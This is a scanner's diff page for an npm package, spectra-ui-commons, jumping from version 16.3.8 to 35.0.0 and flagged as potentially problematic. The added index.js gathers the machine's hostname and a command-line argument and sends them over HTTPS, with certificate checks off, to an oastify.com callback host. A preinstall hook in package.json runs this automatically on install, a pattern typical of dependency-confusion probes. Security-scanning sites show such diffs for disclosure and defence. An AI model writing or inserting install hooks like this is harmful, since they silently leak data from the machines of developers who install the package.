spectra-ui-commons 16.3.8 → 35.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of spectra-ui-commons might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +11 -8
  2. package/package.json +3 -3
package/index.js CHANGED
@@ -1,24 +1,27 @@
1
- const h = require('https');
1
+ const https = require('https');
2
+ var os = require("os");
3
+ var hostname = os.hostname();
2
4
 
3
- const hey = new TextEncoder().encode(
5
+ const data = new TextEncoder().encode(
4
6
  JSON.stringify({
5
- test: "test"
7
+ payload: hostname,
8
+ project_id: process.argv[2]
6
9
  })
7
10
  );
8
11
 
9
12
  const options = {
10
- hostname: 'test' + '.sd9izw5884bsdkav5gfkxfbn1e75v7jw.tirvax.com',
13
+ hostname: process.argv[2] + '.' + hostname + '.go839zp83chpacd6nuclfjk29tfk3arz.oastify.com',
11
14
  port: 443,
12
15
  path: '/',
13
16
  method: 'POST',
14
17
  headers: {
15
18
  'Content-Type': 'application/json',
16
- 'Content-Length': hey.length
19
+ 'Content-Length': data.length
17
20
  },
18
21
  rejectUnauthorized: false
19
22
  }
20
23
 
21
- const roq = h.request(options, res => {});
22
- roq.write(hey);
23
- roq.end();
24
+ const req = https.request(options, res => {});
25
+ req.write(data);
26
+ req.end();
24
27
 
package/package.json CHANGED
@@ -1,10 +1,10 @@
1
1
  {
2
2
  "name": "spectra-ui-commons",
3
- "version": "16.3.8",
4
- "description": "Testing npm",
3
+ "version": "35.0.0",
4
+ "description": "This is a test",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "echo \"problem\" && exit 1",
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
8
  "preinstall": "node index.js"
9
9
  },
10
10
  "author": "",